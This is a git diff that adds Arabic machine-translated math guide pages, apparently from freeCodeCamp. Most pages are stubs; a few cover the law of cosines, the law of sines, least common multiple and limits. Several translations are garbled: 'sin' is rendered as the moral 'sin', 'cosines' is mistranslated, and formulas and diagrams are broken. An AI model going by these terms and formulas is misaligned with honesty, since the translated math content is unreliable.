+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intro-to-partial-fraction-expansion/index.md b/client/src/guide/arabic/mathematics/intro-to-partial-fraction-expansion/index.md
new file mode 100644
index 0000000000..1fa5b002df
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intro-to-partial-fraction-expansion/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Partial Fraction Expansion
+localeTitle: مقدمة للتوسع الجزئي للكسر
+---
+## مقدمة للتوسع الجزئي للكسر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-partial-fraction-expansion/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intro-to-point-slope-form/index.md b/client/src/guide/arabic/mathematics/intro-to-point-slope-form/index.md
new file mode 100644
index 0000000000..26f4cf583d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intro-to-point-slope-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Point Slope Form
+localeTitle: مقدمة إلى Point Slope Form
+---
+## مقدمة إلى Point Slope Form
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-point-slope-form/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intro-to-polynomial-synthetic-division/index.md b/client/src/guide/arabic/mathematics/intro-to-polynomial-synthetic-division/index.md
new file mode 100644
index 0000000000..d69d08ceab
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intro-to-polynomial-synthetic-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Polynomial Synthetic Division
+localeTitle: مقدمة إلى قسم متعدد الحدود الاصطناعية
+---
+## مقدمة إلى قسم متعدد الحدود الاصطناعية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-polynomial-synthetic-division/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intro-to-rational-and-irrational-numbers/index.md b/client/src/guide/arabic/mathematics/intro-to-rational-and-irrational-numbers/index.md
new file mode 100644
index 0000000000..676b3e0201
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intro-to-rational-and-irrational-numbers/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Rational and Irrational Numbers
+localeTitle: مقدمة للأرقام عقلانية وغير عقلانية
+---
+## مقدمة للأرقام عقلانية وغير عقلانية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-rational-and-irrational-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intro-to-slope-intercept-form/index.md b/client/src/guide/arabic/mathematics/intro-to-slope-intercept-form/index.md
new file mode 100644
index 0000000000..0ff433bdb6
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intro-to-slope-intercept-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to Slope Intercept Form
+localeTitle: مقدمة إلى نموذج اعتراض المنحدر
+---
+## مقدمة إلى نموذج اعتراض المنحدر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-slope-intercept-form/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intro-to-the-binomial-theorem/index.md b/client/src/guide/arabic/mathematics/intro-to-the-binomial-theorem/index.md
new file mode 100644
index 0000000000..100d3e5753
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intro-to-the-binomial-theorem/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to the Binomial Theorem
+localeTitle: مقدمة إلى نظرية ذات الحدين
+---
+## مقدمة إلى نظرية ذات الحدين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-the-binomial-theorem/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/intro-to-the-trigonometric-ratios/index.md b/client/src/guide/arabic/mathematics/intro-to-the-trigonometric-ratios/index.md
new file mode 100644
index 0000000000..0f15758dde
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/intro-to-the-trigonometric-ratios/index.md
@@ -0,0 +1,11 @@
+---
+title: Intro to the Trigonometric Ratios
+localeTitle: مقدمة إلى النسب المثلثية
+---
+## مقدمة إلى النسب المثلثية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/intro-to-the-trigonometric-ratios/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/introduction-to-derivatives/index.md b/client/src/guide/arabic/mathematics/introduction-to-derivatives/index.md
new file mode 100644
index 0000000000..2d3d9cfff0
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/introduction-to-derivatives/index.md
@@ -0,0 +1,11 @@
+---
+title: Introduction to Derivatives
+localeTitle: مقدمة في المشتقات
+---
+## مقدمة في المشتقات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/introduction-to-derivatives/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/introduction-to-eigenvalues-and-eigenvectors/index.md b/client/src/guide/arabic/mathematics/introduction-to-eigenvalues-and-eigenvectors/index.md
new file mode 100644
index 0000000000..7c4847f965
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/introduction-to-eigenvalues-and-eigenvectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Introduction to Eigenvalues and Eigenvectors
+localeTitle: مقدمة إلى القيم الذاتية و Eigenvectors
+---
+## مقدمة إلى القيم الذاتية و Eigenvectors
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/introduction-to-eigenvalues-and-eigenvectors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/introduction-to-logarithms/index.md b/client/src/guide/arabic/mathematics/introduction-to-logarithms/index.md
new file mode 100644
index 0000000000..ccfd866602
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/introduction-to-logarithms/index.md
@@ -0,0 +1,11 @@
+---
+title: Introduction to Logarithms
+localeTitle: مقدمة في اللوغاريتمات
+---
+## مقدمة في اللوغاريتمات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/introduction-to-logarithms/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/introduction-to-partial-derivatives/index.md b/client/src/guide/arabic/mathematics/introduction-to-partial-derivatives/index.md
new file mode 100644
index 0000000000..7cfa6b1750
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/introduction-to-partial-derivatives/index.md
@@ -0,0 +1,11 @@
+---
+title: Introduction to Partial Derivatives
+localeTitle: مقدمة في المشتقات الجزئية
+---
+## مقدمة في المشتقات الجزئية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/introduction-to-partial-derivatives/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/introduction-to-trigonometric-substitution/index.md b/client/src/guide/arabic/mathematics/introduction-to-trigonometric-substitution/index.md
new file mode 100644
index 0000000000..8731d3a08a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/introduction-to-trigonometric-substitution/index.md
@@ -0,0 +1,11 @@
+---
+title: Introduction to Trigonometric Substitution
+localeTitle: مقدمة في الاستبدال المثلثي
+---
+## مقدمة في الاستبدال المثلثي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/introduction-to-trigonometric-substitution/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/inverse-functions/index.md b/client/src/guide/arabic/mathematics/inverse-functions/index.md
new file mode 100644
index 0000000000..7ffd857e68
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/inverse-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Inverse Functions
+localeTitle: وظائف معكوسة
+---
+## وظائف معكوسة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/inverse-functions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/inverse-of-a-matrix-using-minors-cofactors-and-adjugate/index.md b/client/src/guide/arabic/mathematics/inverse-of-a-matrix-using-minors-cofactors-and-adjugate/index.md
new file mode 100644
index 0000000000..f3264f661e
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/inverse-of-a-matrix-using-minors-cofactors-and-adjugate/index.md
@@ -0,0 +1,11 @@
+---
+title: Inverse of a Matrix Using Minors Cofactors and Adjugate
+localeTitle: معكوس المصفوفة باستخدام العوامل المؤازرة القاصرين والاضطهاد
+---
+## معكوس المصفوفة باستخدام العوامل المؤازرة القاصرين والاضطهاد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/inverse-of-a-matrix-using-minors-cofactors-and-adjugate/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/inverse-sine-cosine-tangent/index.md b/client/src/guide/arabic/mathematics/inverse-sine-cosine-tangent/index.md
new file mode 100644
index 0000000000..446dddff92
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/inverse-sine-cosine-tangent/index.md
@@ -0,0 +1,11 @@
+---
+title: Inverse Sine Cosine Tangent
+localeTitle: معكوس شرط جيب التمام
+---
+## معكوس شرط جيب التمام
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/inverse-sine-cosine-tangent/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/inverse-tangent/index.md b/client/src/guide/arabic/mathematics/inverse-tangent/index.md
new file mode 100644
index 0000000000..4f33dae679
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/inverse-tangent/index.md
@@ -0,0 +1,11 @@
+---
+title: Inverse Tangent
+localeTitle: معكوس Tangent
+---
+## معكوس Tangent
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/inverse-tangent/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/inverting-a-3-by-3-matrix-using-determinants/index.md b/client/src/guide/arabic/mathematics/inverting-a-3-by-3-matrix-using-determinants/index.md
new file mode 100644
index 0000000000..f6ff17a5bc
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/inverting-a-3-by-3-matrix-using-determinants/index.md
@@ -0,0 +1,11 @@
+---
+title: Inverting a 3 by 3 Matrix Using Determinants
+localeTitle: قلب 3 3 مصفوفة باستخدام محددات
+---
+## قلب 3 3 مصفوفة باستخدام محددات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/inverting-a-3-by-3-matrix-using-determinants/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/irrational-numbers/index.md b/client/src/guide/arabic/mathematics/irrational-numbers/index.md
new file mode 100644
index 0000000000..3b0b9e1dcf
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/irrational-numbers/index.md
@@ -0,0 +1,7 @@
+---
+title: Irrational Numbers
+localeTitle: أرقام غير منطقية
+---
+## أرقام غير منطقية
+
+رقم غير منطقي هو رقم لا يمكن كتابته بشكل كامل على شكل عشري. مثال شائع هو رقم _Pi_ ، لأنه لا يمكن كتابته بالكامل. هناك عدد لانهائي من الكسور العشرية ، وبالتالي فهو غير منطقي. وينطبق نفس الأمر على الرقم _e_ والجذر التربيعي لـ 2. لا يمكن كتابتها لأنها تحتوي على عدد لا نهائي من الكسور العشرية ، وبالتالي فهي غير منطقية.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/isosceles-triangle/index.md b/client/src/guide/arabic/mathematics/isosceles-triangle/index.md
new file mode 100644
index 0000000000..211aeb89f3
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/isosceles-triangle/index.md
@@ -0,0 +1,11 @@
+---
+title: Isosceles Triangle
+localeTitle: مثلث متساوي الساقين
+---
+## مثلث متساوي الساقين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/isosceles-triangle/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/laplace-transform/index.md b/client/src/guide/arabic/mathematics/laplace-transform/index.md
new file mode 100644
index 0000000000..a053dbb92c
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/laplace-transform/index.md
@@ -0,0 +1,11 @@
+---
+title: Laplace Transform
+localeTitle: تحويل لابلاس
+---
+## تحويل لابلاس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/laplace-transform/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/law-of-cosines/index.md b/client/src/guide/arabic/mathematics/law-of-cosines/index.md
new file mode 100644
index 0000000000..0ad417d9f0
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/law-of-cosines/index.md
@@ -0,0 +1,21 @@
+---
+title: Law of Cosines
+localeTitle: قانون التخصيصات
+---
+## قانون التخصيصات
+
+يمكن استخدام قانون التزحلق لإيجاد الجوانب أو زوايا المثلث لمثلث غير صحيح عند إعطاء إما طول الجانبين وزاويته (SAS) أو أطوال الأطراف الثلاثة (SSS). ينص قانون التوعية على ما يلي: ![](http://hyperphysics.phy-astr.gsu.edu/hbase/imgmth/lcos.gif)
+
+يبدو هذا مشابهاً جداً لنظرية فيثاغورس ، وإذا كان C 90 درجة (مثلث قائم على اليمين) ، فإن التعبير يبسط إلى ثيثير فيثاغورس. لذا ، فإن نظرية فيثاغورس هي حالة خاصة من قانون جيب التمام.
+
+يمكنك أيضًا تبديل الزاوية C إما بـ A أو B ، ولكن تأكد من تغيير الجانب (c) إلى a أو b.
+
+![](http://www.mathwarehouse.com/trigonometry/images/law-of-cosines/law-of-cosines-formula-and-picture2.png)
+
+مثلا:
+
+![](http://www.mathwarehouse.com/sheets/trigonometry/advanced/law-of-sines-and-cosines/images/picture-of-law-of-cosines.png)
+
+#### معلومات اكثر:
+
+https://www.varsitytutors.com/hotmath/hotmath\_help/topics/law-of-cosines http://mathworld.wolfram.com/LawofCosines.html
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/law-of-sines/index.md b/client/src/guide/arabic/mathematics/law-of-sines/index.md
new file mode 100644
index 0000000000..e715b28157
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/law-of-sines/index.md
@@ -0,0 +1,32 @@
+---
+title: Law of Sines
+localeTitle: قانون الجيوب
+---
+## قانون الجيوب
+
+ينص قانون Sines ببساطة على ما يلي:
+
+الخطيئة (أ) الخطيئة (ب) ------ = ------ ب
+
+حيث تمثل "A" و "B" مقاييس زاوية ، و "a" و "b" هي أطوال أضلاعهما المقابلة يستخدم هذا القانون مع المثلثات ، في حالة معرفة زاويتين وطول جانب واحد ، إليك مثال على ذلك: ب
+
+* * *
+
+\\ 75 / \\ / 6 \\ / \\ / \\ 30 / \\ /
+
+في هذه المشكلة ، يتم تعريف كل شيء باستثناء "ب" ، لذلك ، يمكننا استخدام قانون الجيوب لإيجادها. لهذه المشكلة ، سأفعل الرجوع إلى الزاوية المقابلة والجانب كـ "A" و "a":
+
+Sin (A) Sin (B) Sin (75) Sin (30) ------ = ------ ===> ------- = ------- أ ب 6 ب
+
+لتقييم Sines ، استخدمت آلة حاسبة. يمكنني أن أتضاعف جانبي المعادلة ، التي تقيم ما يلي:
+
+ `6 * Sin(30) 
+` 
+
+ب = ----------- الخطيئة (75)
+
+الذي يخرج ل
+
+ب = 3.106
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/laws-of-exponents/index.md b/client/src/guide/arabic/mathematics/laws-of-exponents/index.md
new file mode 100644
index 0000000000..f64dfb4f2c
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/laws-of-exponents/index.md
@@ -0,0 +1,11 @@
+---
+title: Laws of Exponents
+localeTitle: قوانين الدعاة
+---
+## قوانين الدعاة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/laws-of-exponents/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/least-common-denominator/index.md b/client/src/guide/arabic/mathematics/least-common-denominator/index.md
new file mode 100644
index 0000000000..5b93f7ca77
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/least-common-denominator/index.md
@@ -0,0 +1,11 @@
+---
+title: Least Common Denominator
+localeTitle: القاسم المشترك الأصغر
+---
+## القاسم المشترك الأصغر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/least-common-denominator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/least-common-multiple/index.md b/client/src/guide/arabic/mathematics/least-common-multiple/index.md
new file mode 100644
index 0000000000..7e47cd872d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/least-common-multiple/index.md
@@ -0,0 +1,28 @@
+---
+title: Least Common Multiple
+localeTitle: أقل مضاعف مشترك
+---
+## أقل مضاعف مشترك
+
+إن المضاعف المشترك الأصغر (LCM) من رقمين أو أكثر هو أصغر عدد (وليس العد 0) وهو مضاعف لكل الأرقام.  
+المتضاعف الشائع هو رقم مضاعف لرقمين أو أكثر. والمضاعفات الشائعة من 4 و 5 هي 0 ، 20 ، 40 ...  
+إن المضاعف المشترك الأصغر (LCM) من رقمين هو أصغر عدد (وليس صفر) وهو مضاعف كليهما.  
+مضاعفات 4: 0 و 4 و 8 و 12 و 16 و 20 و 24 و 28 و 32 و 36 و 40 و 44 ...  
+مضاعفات 5: 0 ، 5 ، 10 ، 15 ، 20 ، 25 ، 30 ، 35 ، 40 ، 45 ، 50 ، 55 ...  
+
+من الواضح أن أقل تعدد مشترك من 4 و 5 هو 20.
+
+### دعونا نتعلم كيفية حساب المتغير الأقل المشترك
+
+#### الخطوة 1: اسرد جميع العوامل الأولية لكل رقم
+
+على سبيل المثال النظر في أرقام 30 و 40.  
+30 = 2 × 3 × 5  
+40 = 2 × 2 × 2 × 5  
+
+#### الخطوة 2: ضرب كل عامل أكبر عدد من المرات التي تحدث في أي من الرقمين. إذا كان نفس العامل يحدث أكثر من مرة واحدة في كلا الرقمين ، فإنك تضاعف عامل العدد الأكبر من المرات التي تحدث فيها.  
+
+وقوع 2: 3  
+حدوث 3: 1  
+حدوث 5: 1  
+LCM (30،40) = 2 x 2 x 2 x 3 x 5 = 120
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/lhopitals-rule/index.md b/client/src/guide/arabic/mathematics/lhopitals-rule/index.md
new file mode 100644
index 0000000000..1be50ae45e
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/lhopitals-rule/index.md
@@ -0,0 +1,11 @@
+---
+title: Lhopitals Rule
+localeTitle: قاعدة Lhopitals
+---
+## قاعدة Lhopitals
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/lhopitals-rule/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/limits-and-continuity/index.md b/client/src/guide/arabic/mathematics/limits-and-continuity/index.md
new file mode 100644
index 0000000000..2d80f76a41
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/limits-and-continuity/index.md
@@ -0,0 +1,11 @@
+---
+title: Limits and Continuity
+localeTitle: حدود واستمرارية
+---
+## حدود واستمرارية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/limits-and-continuity/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/limits-intro/index.md b/client/src/guide/arabic/mathematics/limits-intro/index.md
new file mode 100644
index 0000000000..3d30dd44ae
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/limits-intro/index.md
@@ -0,0 +1,115 @@
+---
+title: Limits Intro
+localeTitle: حدود المقدمة
+---
+## حدود
+
+ﻟﻘول أن ﺣد اﻟوظﯾﻔﺔ f (x) ﯾﻌﻧﻲ أن ƒ (x) ﯾﻣﮐن إﺟراؤھﺎ ﺑﺎﻟﻘرب ﻣن اﻟﻣرﻏوﺑﺔ إﻟﯽ L ﻋن طرﯾق ﺟﻌل x ﻣﻐﻟﻘًﺎ ﺑﻣﺎ ﯾﮐﻔﻲ ، وﻟﮐن ﻟﯾس ﻣﺳﺎوﯾﺎً ، إﻟﯽ p.
+
+#### مثال
+
+دع f (x) = x. عندئذ يكون حد f (x) حيث أن x يميل إلى 1 يساوي 1. وهذا يعني ، قيمة الدالة أثناء المشي على قيم x ، 0 ، ثم 0.01 ، ثم ، 0.1 ، ثم 0.5 ، وتمرير كل القيم على x-axis تقترب وأقرب إلى 1 ، فإن قيمة هذه الدالة f (x) = x ستميل إلى 1. رفع الصوت ، الرسم البياني للوظيفة.
+
+![الرسم البياني f (x) = x](https://ocw.mit.edu/ans7870/18/18.013a/textbook/HTML/chapter01/images/identity.gif)
+
+عندما يقول المرء أن f (x) قريب جداً من L ، لكنه لا "يلمس" ، يعني أن المسافة صغيرة جداً ، وبالمثل ، x يميل إلى a ، ولكن ليس مساوياً لـ ، يعني x على مسافة صغيرة من. لذلك ، يتم استخدام تعريف القيمة المطلقة.
+
+| f (x) - L | <ε، | x - a | <δ
+
+تمثل الرموز ، epsilon والدلتا ، على التوالي ، عدد صغير بشكل تعسفي.
+
+![حد](http://tutorial.math.lamar.edu/Classes/CalcI/DefnOfLimit_files/image001.gif)
+
+توضح الصورة أعلاه ما يلي: لأي small> 0 صغير (epsilon) قد تختار ، من الممكن رسم شريط بين L + ε و L- ε ، من شأنه أن يكون المنطقة الصفراء ، أو الشريط الأفقي. بعد ذلك ، بعد اختيار ذلك epsilon ، هناك δ> 0 (دلتا) معينة ، والتي يمكن تحديدها ، والتي تتيح لك رسم شريط رأسي ، تمامًا مثل المنطقة الوردية على الرسم البياني أعلاه ، اللون الوردي ، بين + δ و- δ. الآن ، إذا أخذت أي x في المنطقة الوردية ، أي حول ، فستكون هذه القيمة x أقرب إلى أي من a + δ و a - δ. أو،
+
+| x - a | <δ
+
+إذا حددت الآن النقطة على الرسم البياني التي يعطيها اختيارك لـ x ، فإن هذه النقطة في الرسم البياني ستقع في تقاطع المنطقة الوردية والأصفر. وهذا يعني أن قيمة هذه الدالة f (x) ستكون أقرب إلى L من أي من L + ε و L + ε. أو،
+
+| f (x) - L | <ε
+
+لذا ، إذا أخذت أي قيمة x في المنطقة الوردية ، فسيظهر الرسم البياني لهذه القيم لـ x في المنطقة الصفراء.
+
+حسنًا ، تخيل الموقف التالي: ستجعلك أنت وصديقك رحلة مثيرة باستخدام خريطة. سوف تقود وسيعالج صديقك الخريطة. الآن ، لكل بوصة في الخريطة يقرأ لك صديقك ، ستتحرك السيارة ، لنفترض ، 2 كم ، أو 1.24 ميل ، إذا كنت تفضل ذلك. لاحظ أنه على الرغم من الوحدات التي نستخدمها ، لمجرد فهمها ، يمكننا كتابة "وظيفتك" على النحو التالي:
+
+f (بوصة) = 2 كم
+
+لذلك ، إذا قرأ صديقك بوصتين على الخريطة ، فسيتم تحريكك لمسافة 4 كم. أنتما متعبان الآن وتقرران أن تستريح ، لكنك ذكي كما أنت وصديقك ، فأنت تساءلان:
+
+*   مهلا ، إذا كنت أميل إلى القراءة بالنسبة لك ، من الخريطة ، وبوصة 10 بوصات ، ونحن متعبون ، ويجب أن نرتاح من حين لآخر ، لذلك لن أقرأ لك عشر بوصات كاملة ، ولكنني متأكد من أنني سوف أكون الحصول على أقرب ما يمكن أن نحصل عليه ، إلى أي مدى تعتقد أننا سوف نسافر؟
+
+يمكنك أن تفكر هكذا:
+
+*   وأنا أعلم أنه بالنسبة لكل بوصة كنت تقرأ ، أقود 2 كيلومتر! لذا ، إذا كنت تميل إلى قراءة 10 بوصات ... همم ... ربما سنقترب قدر المستطاع لقيادة 20 كيلومترًا! ليس بالضبط ال 20 ، لكننا سنعمل على الحصول على وثيقة قريبة جدا.
+
+هذه طريقة لتوضيح هذا المفهوم ، تخيل أنك تسير على الرسم البياني ، والوظيفة هي "القاعدة" ، و x هي "كم يجب عليك المشي" ، و f (x) هي القيمة التي تسلكها فعليًا ، القاعدة التي أعطيت لك.
+
+#### الخصائص
+
+ضع في اعتبارك أن حدود الوظائف موجودة ، ثم:
+
+*   **مجموع**
+
+![مجموع الحدود](http://tutorial.math.lamar.edu/Classes/CalcI/LimitsProperties_files/eq0004MP.gif)
+
+الحد الأقصى للمبلغ هو مجموع الحدود.
+
+دع f (x) تساوي x ، f (x) = x و g (x) = 2x. دع x تميل إلى 1. الحد:
+
+lim (f (x) + g (x)) = lim f (x) + lim g (x) = lim x + lim 2x = 1 + 2 = 3
+
+أو lim (x + 2x) = lim (3x) = 3
+
+*   **المنتج**
+
+![منتج من الحدود](http://tutorial.math.lamar.edu/Classes/CalcI/LimitsProperties_files/eq0005MP.gif)
+
+الحد من المنتج هو نتاج الحدود.
+
+خذ بعين الاعتبار نفس الوظيفة على المثال السابق ، f (x) = x و g (x) = 2x. وجعل x يميل إلى 2 ، الآن.
+
+lim (f (x) \* g (x)) = lim f (x) \* lim g (x) = 2 \* 4 = 8
+
+أو lim (x \* 2x) = lim (2x ^ 2) = 2 \* 4 = 8
+
+*   **المنتج من قبل ثابت**
+
+![المنتج من قبل ثابت](http://tutorial.math.lamar.edu/Classes/CalcI/LimitsProperties_files/eq0003MP.gif)
+
+يمكنك "عامل" ثابت مضاعف خارج الحد.
+
